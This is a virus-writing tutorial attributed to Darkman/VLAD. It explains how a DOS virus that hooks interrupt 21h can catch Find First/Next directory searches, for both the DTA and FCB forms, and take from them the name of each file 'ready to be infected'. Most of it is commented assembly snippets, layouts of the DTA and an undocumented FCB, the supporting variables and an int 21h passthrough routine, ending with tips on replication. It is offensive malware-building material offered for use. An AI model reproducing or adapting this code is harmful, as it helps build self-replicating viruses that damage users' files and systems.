F I N D F I R S T / N E X T I N F E C T I O N "Aggressive replication" Written by Darkman/VLAD ---------------------------------------------------------------- How to get the filename from Find First/Next Matching File (DTA) ---------------------------------------------------------------- The below steps must be followed to get the filename from DTA: 1. If Find First Matching File (4Eh), then get the path and then... 2. Call original interrupt 21h. 3. Get the Disk Transfer Address (DTA). 4. Get the filename. 5. RETurn from interrupt 21h. ---------------------------------------------------------------- If Find First Matching File (4Eh), then get the path and then... ---------------------------------------------------------------- The below code shows an example of how get the path of the filename: ;------------------------------------------------------------=< cut here >=- lea di,filename ; DI = offset of filename mov si,dx push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov filenameoff,di ; Store offset of filename movepathdta: lodsb ; Load a byte of path or al,al ; End of path? je pathdtaexit ; Equal? Jump to pathdtaexit stosb ; Store a byte of path cmp al,':' ; Possible end of path? je setnameoff ; Equal? Jump to setnameoff cmp al,'\' ; Possible end of path? jne movepathdta ; Not equal? Jump to movepathdta setnameoff: mov filenameoff,di ; Store offset of filename jmp movepathdta pathdtaexit: ;------------------------------------------------------------=< cut here >=- This code presumes that a variable of 76 bytes called filename and a variable of a word called filenameoff exists. Remember to PUSH and POP the used registers before and after the code. --------------------------- Call original interrupt 21h --------------------------- The below code shows an example of how to call the original interrupt 21h: ;------------------------------------------------------------=< cut here >=- call simint21 ; Do it! ;------------------------------------------------------------=< cut here >=- This code presumes a procedure called simint21 exists. Remember to POP and PUSH the used registers before and after the code. ----------------------------------- Get the Disk Transfer Address (DTA) ----------------------------------- The below code shows an example of how to get the Disk Transfer Area (DTA): ;------------------------------------------------------------=< cut here >=- mov ah,2fh ; Get Disk Transfer Address (DTA) int 21h ; Do it! ;------------------------------------------------------------=< cut here >=- ---------------- Get the filename ---------------- The below code shows an example of how to get the filename: ;------------------------------------------------------------=< cut here >=- mov di,filenameoff ; DI = offset of filename mov si,bx add si,1eh ; SI = offset of filename (DTA) push es ; Save ES at stack pop ds ; Load DS from stack (ES) push cs ; Save CS at stack pop es ; Load ES from stack (CS) movenamedta: lodsb ; Load a byte of filename (DTA) stosb ; Store a byte of filename or al,al ; End of filename? jne movenamedta ; Not equal? Jump to movenamedta ;------------------------------------------------------------=< cut here >=- This code presumes that a variable of a word called filenameoff exists. The filename with full path is in the 76 bytes variable called filename and ready to be infected. ------------------------- RETurn from interrupt 21h ------------------------- The below code shows an example of how to return from interrupt 21h: ;------------------------------------------------------------=< cut here >=- retf 02h ; Return far and pop a word! ;------------------------------------------------------------=< cut here >=- Remember to POP the used registers before this code. ---------------------------------------------------------------- How to get the filename from Find First/Next Matching File (FCB) ---------------------------------------------------------------- The below steps must be followed to get the filename from DTA: 1. Check if the path is shown. If it is, get the path and then... 2. Call original interrupt 21h. 3. Check if the FCB is extended. If it is, move the offset. 4. Get the filename. 5. Get the extension. 6. Create a ASCIIZ filename. 7. RETurn from interrupt 21h. -------------------------------------------------------------- Check if the path is shown. If it is, get the path and then... -------------------------------------------------------------- The below code shows an example of how to check if the path is shown and if it is, how to get the path: ;------------------------------------------------------------=< cut here >=- mov si,dx add si,0a4cfh ; SI = offset of FCB cmp byte ptr [si+01h],':' jne realfcb ; Not equal? Jump to realfcb lea di,filename ; DI = offset of filename push cs ; Save CS at stack pop es ; Load ES from stack (CS) movepathfcb: lodsb ; Load a byte of path or al,al ; End of path? je pathfcbexit ; Equal? Jump to pathfcbexit stosb ; Store a byte of path jmp movepathfcb pathfcbexit: mov al,'\' stosb ; Store the last byte of the path mov filenameoff,di ; Store offset of filename ;------------------------------------------------------------=< cut here >=- This code presumes that a variable of 76 bytes called filename and a variable of a word called filenameoff exists. Remember to PUSH and POP the used registers before and after the code. --------------------------- Call original interrupt 21h --------------------------- The below code shows an example of how to call the original interrupt 21h: ;------------------------------------------------------------=< cut here >=- call simint21 ; Do it! ;------------------------------------------------------------=< cut here >=- This code presumes a procedure called simint21 exists. Remember to POP and PUSH the used registers before and after the code. ------------------------------------------------------- Check if the FCB is extended. If it is, move the offset ------------------------------------------------------- The below code shows an example of how to check if the FCB is extended and if it is, how to move the offset: ;------------------------------------------------------------=< cut here >=- cld ; Clear direction flag add dx,0a4cfh ; DX = offset of FCB mov si,dx lodsb ; Load a byte of FCB dec si ; Decrease SI cmp al,0ffh ; Extended FCB ID jne initmovefcb ; Not equal? Jump to initmovefcb add si,07h ; SI = offset of extended FCB initmovefcb: ;------------------------------------------------------------=< cut here >=- ---------------- Get the filename ---------------- The below code shows an example of how to get the filename: ;------------------------------------------------------------=< cut here >=- mov cx,08h ; Move 8 bytes mov di,filenameoff ; DI = offset of filename inc si ; SI = offset of filename (FCB) push cs ; Save CS at stack pop es ; Load ES from stack (CS) movenamefcb: lodsb ; Load a byte of filename (FCB) cmp al,' ' ; End of filename? je createext ; Equal? Jump to createext stosb ; Store a byte of filename loop movenamefcb inc si ; Increase SI createext: ;------------------------------------------------------------=< cut here >=- This code presumes that a variable of 76 bytes called filename and a variable of a word called filenameoff exists. ----------------- Get the extension ----------------- The below code shows an example of how to get the extension: ;------------------------------------------------------------=< cut here >=- mov al,'.' dec si ; Decrease SI add si,cx ; SI = offset of extension (FCB) stosb ; Create .COM extension movsw ; Move extension movsb ; " " ;------------------------------------------------------------=< cut here >=- ------------------------- Create an ASCIIZ filename ------------------------- The below code shows an example of how to create an ASCIIZ filename: ;------------------------------------------------------------=< cut here >=- xor al,al ; Clear AL stosb ; Create an ASCIIZ filename ;------------------------------------------------------------=< cut here >=- The filename with full path is in the 76 bytes variable called filename and ready to be infected. ------------------------- RETurn from interrupt 21h ------------------------- The below code shows an example of how to return from interrupt 21h: ;------------------------------------------------------------=< cut here >=- retf 02h ; Return far and pop a word! ;------------------------------------------------------------=< cut here >=- Remember to POP the used registers before this code. ------------------------------------- Disk Transfer Address (DTA) structure ------------------------------------- The above Find First/Next Matching File (DTA) infector is using the normal DTA. This is the DTA structure: ----------------------------------------- Offset Length Field ----------------------------------------- 00 01 Drive letter 01-0B 0B Search template 0C-14 09 Reserved 15 01 File attribute 16-17 02 File time 18-19 02 File date 1A-1D 04 File size 1E-3A 0D ASCIIZ filename + extension ----------------------------------------- ---------------------------------- File Control Block (FCB) structure ---------------------------------- The above Find First/Next Matching File (FCB) infector does not use the usual File Control Block (FCB), but a undocumented FCB. This FCB is placed 42191 bytes above the opened FCB. This is FCB structure: -------------------------- Offset Length Field -------------------------- 00 01 Drive code 01-08 08 Filename 09-0B 03 Extension 0C-16 0B Undocumented 17-18 02 File time 19-1A 02 File date 1B-1C 02 Undocumented 1D-20 04 File size -------------------------- This FCB is not the same as the usual FCB. If the FCB is extended; then the first fields of the structure will look like this: ----------------------------- Offset Length Field ----------------------------- 00 01 Extended FCB ID 01-05 05 Reserved 06 01 File attribute ----------------------------- Then the normal FCB will begin after the extended FCB at offset 07. ---------------------------------------------------- Necessary labels, variables and code to the examples ---------------------------------------------------- The above examples presumes that a variable of 76 bytes called filename exists. This variable holds the filename with full path of the FCB/DTA filename. It should look like this: filename db 4ch dup(?) ; DTA/FCB filename The above examples presumes that a variable of a word called filenameoff exists. This variable holds the offset of the filename, which is placed after the path. It should look like this: filenameoff dw ? ; Offset of DTA/FCB filename The above examples presumes that a procedure called simint21 exists. This procedure will call the original interrupt 21h. This is done because we have intercepted interrupt 21h. It should look like this: simint21 proc near ; Simulate interrupt 21h pushf ; Save flags at stack callfar db 9ah ; Object code of a far call int21adr dd 0 ; Address of interrupt 21h ret ; Return! endp However the address of the original interrupt should be placed in the variable with the name int21adr. --------------------- Final tips and tricks --------------------- - The mentioned variables do not have to be in the code, just in the memory. - If you replicate both ways then don't return twice, just jump to a return. - Remember to optimize your code.